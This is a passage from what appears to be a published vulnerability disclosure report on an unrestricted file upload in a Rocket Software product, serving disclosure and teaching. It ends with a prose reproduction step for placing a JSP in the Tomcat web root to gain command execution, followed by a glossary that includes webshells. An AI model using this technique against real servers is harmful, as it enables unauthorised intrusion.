  5. On other installations, locate the Tomcat web root first (it may differ with the server version and installation folder) and attempt to place a JSP there. A positive result is the JSP being served and executing, which turns the file write into command execution as the service account.

Glossary

  • Advisory: a written report sent to a vendor describing a vulnerability, how to reproduce it, and its severity.
  • Authentication: proving who you are, usually by logging in. "Unauthenticated" means no login was needed.
  • CAD: computer-aided design; the files engineers make when they draw parts and machines.
  • Chunk: one piece of a file that is being uploaded in parts, so a large file can be resumed if the connection drops.
  • CVE: a public catalogue number for a known vulnerability, so everyone can refer to the same issue by the same name.
  • GET request: an HTTP request that asks for a page or resource, without sending a body.
  • HTTP: the language browsers and web servers use to talk to each other.
  • JSP: JavaServer Pages; a file format that a Java web server such as Tomcat executes as code when someone requests it.
  • OFTP: Odette File Transfer Protocol; a file-transfer protocol used in the automotive industry.
  • PLM: product lifecycle management; the system that tracks every version of a product's design files.
  • POST request: an HTTP request that carries data in its body, used for forms and uploads.
  • Query string: the part of a URL after the ?, made of name=value pairs separated by &, which the server reads as inputs.
  • Servlet: a small Java program that runs inside a web server and answers requests for one particular address.
  • Stack trace: the list of function calls a program was in when it crashed, printed from the innermost call outwards.
  • Status code: the three-digit number at the start of an HTTP response; 200 means success, 500 means the server hit an internal error.
  • Token: a short string a server gives you after you log in so it can recognise you on later requests, like a cloakroom ticket.
  • Tomcat: the Java web server software that runs servlets and JSP pages.
  • Web root: the folder whose contents a web server hands out to anyone who asks, and whose JSP files it executes as code.
  • Webshell: a small program placed on a server that lets an attacker run commands through the browser.
  • whoami: a Windows command that prints the name of the account the current process is running as.

More from Rocket Software

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Unrestricted file upload

The lesson behind this report.

An upload feature accepts a file that the server or other users' browsers then treat as code or as something trusted.